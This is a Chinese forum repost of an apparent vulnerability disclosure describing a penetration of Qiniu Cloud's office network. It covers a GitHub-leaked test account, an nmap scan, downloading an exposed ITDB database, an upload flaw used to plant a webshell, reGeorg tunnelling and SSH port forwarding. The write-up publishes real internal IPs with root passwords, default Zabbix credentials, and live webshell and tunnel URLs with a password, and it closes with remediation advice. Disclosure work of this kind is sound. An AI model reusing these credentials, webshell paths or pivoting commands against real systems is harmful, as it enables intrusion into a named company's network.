HanDs
管理员

[7月漏洞公开] 七牛云存储某站漏洞可跨越边界漫游内网 





学习中请遵循国家相关法律法规,黑客不作恶。没有网络安全就没有国家安全

本站需要登陆后才能查看

七牛云存储某站漏洞可跨越边界漫游内网

详细说明:

七牛的安全总体来说还是不错的,后台开启了双因素(密码+手机动态验证码),VPN也不是很好找,邮箱用的是腾讯企业邮箱。用上个报过的Ldap匿名访问漏洞,拿到的部分用户名进行爆破,却一无所获,只能另寻他法。

0x01------切入点

这里从github里找到一个七牛云上的一个测试账号

code 区域
https://github.com/landylee1989/faster/blob/ac713f628ba81ef59c8a91c10ca6c2fa437a5815/spec/support/baseapi/acc.rb



1.png



这个账号是QA用的测试帐号,初看貌似没什么用,但在七牛整个防护较为严的情况下,一些细小的琐碎信息却可能成为突破的重要条件,本案例中就是登录IP

code 区域
222.73.202.226



2.png



猜测可能是七牛的某个出口IP,用Nmap进行全端口扫描后,开放的端口如下

code 区域
nmap -sV --open -v -p 1-65535 222.73.202.226 -oX 222.73.202.226.xml



3.png



突破口选了Web

code 区域
ITDB资产管理系统:http://222.73.202.226:9000



看了下是一个叫做ITDB的资产管理应用,果断去官网下载源码。这套系统用的数据库是sqlite,数据库放在了WEB目录下,默认路径是:

code 区域
http://IP/data/itdb.db



数据库的名字是可以修改的,但管理员并没有修改,且Apache开启了目录浏览,于是直接下载数据库。

4.png



数据库里明文记录了管理员的密码

5.png





0x02------Get Webshell!

后台有个上传文件的功能,是丢给uploadframe_frame.php处理的。

6.png



上传用到的函数是upload

7.png



我们跟进下upload函数

8.png



最后上传到服务器上的文件名是文件属性+上传的文件名+上传的后缀,一个很明显的上传漏洞。

$uploadfile变量定义的位置在/data/files/下,所以webshell地址是:

code 区域
http://222.73.202.226:9900/data/files/other-ae-e93c.php



上菜刀

9.png





0x03------打入办公网

IP是内网地址,确定是映射出来的。

10.png



然后用reGeorg代理进入内网,速度和稳定性不怎么好,但该服务器的内核较高,没找到对应的提权EXP。决定拿下内网一台服务器作跳板。

在服务器上挂了个脚本,扫描192.168.220.*这个网段的80,8080,443和22端口。

扫Web端口一是为了通过发现的应用,确认此网段处于内网的什么区域(是办公网、DMZ还是生产网?),二是方便获取其他系统的权限。

通过发现的几个应用,推测出这个网段是办公网的一部分

code 区域
http://192.168.220.5     Freenas,数据存储
http://192.168.220.179 Panabit,流控系统
http://192.168.220.50 brother,打印机



其中Freenas使用了和ITDB一样的密码,在Web界面上开启SSH,准备作跳板机用。

code 区域
http://192.168.220.5 
root/QQQnnn111



11.png



可问题是,他是FreeBSD的系统-.-,不太熟悉,一些渗透工具也比较难安装,果断开始找其他开放SSH端口的服务器。这里找到5个:

code 区域
192.168.220.179  root/panaos
192.168.220.182 root/QQQnnn111!
192.168.220.240 root/QQQnnn111
192.168.220.31 root/QQQnnn111
192.168.220.34 root/QQQnnn111



0x04------跨到核心区

通过前期的信息收集,以及内网渗透拿到的一些零碎片段,拼凑了一个七牛内网简陋的拓扑(可能有错)

12.png



我们目前的位置在图上的左下角(192.168.220.*),要跨网段访问生产网。

找了几个生产网的IP(10.*.*.*),traceroute了下,没有路由过去。

到这里其实有多种方法跨到核心生产网:

1. 渗透办公网中的PC机,通过PC找到突破进入生产网的路径。经过探测,PC机网段集中在192.168.200.*和192.168.201.*

2. 找到核心或边界的防火墙和交换机,进一步捋清七牛的拓扑情况,通过这些设备跨网段访问。

3. 利用目前获取到的办公网机器的一些权限,进一步收集敏感信息。



我选择了3

前文中提到了一个Panabit的系统,这是一个流控设备,可以查看用户访问的IP和使用的协议。

先登录这个系统,把443端口通过SSH映射出来

code 区域
ssh -fCNR 3456:localhost:443 [email protected]



再将本地的0.0.0.0绑定35632端口,这样所有IP都可以访问了

code 区域
ssh –fCNL *:35632:localhost:3456 localhost



13.png



通过查看日志,发现内网一台机器访问了这个IP

14.png



原来是个Zabbix,而且部署在了国外。使用默认口令admin/zabbix登录成功

15.png



看了下Zabbix Server和Agent的IP段,都是10.20.*.*,应该是生产网了吧,希望没猜错

16.png



本以为这是渗透核心生产网的起点,但当时挂了个reGeorg,想先看下,结果悲剧了,Nginx挂掉了。本来sudo没有密码,可以直接加个用户然后把SSH反弹出来啊(有外网防火墙)。。。

也算是碰了下核心生产网的边缘吧。

这是webshell和tunnel的地址,麻烦删掉。

code 区域
http://54.183.142.88/ch.php       webshell,密码_3
http://54.183.142.88/tunnel.php reGerog代理



漏洞证明:

见详细说明

修复方案:

1. ITDB这个系统,大部分用户都是弱口令,比如admin和1234,普通用户都可以getshell,建议放内网吧。如果必须放外网,建议清理弱口令,修改现有口令,修改数据库名字,关闭apache的目录浏览

2. 内网弱口令和密码通用问题是业界老大难问题,可看情况整改。

3. 对你们七牛的渗透真是见鬼了,上次挂掉一个洋葱,这次又挂掉了一个Zabbix,感觉有些抱歉。但对你们来说未尝不是一个好事,因为阻止了进一步的渗透。对了,Zabbix服务器的Nginx重启后,改下默认口令吧。


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
牛云 存储 漏洞 跨越 边界 漫游
#1楼
发帖时间:2016-7-11   |   查看数:0   |   回复数:0
游客组
快速回复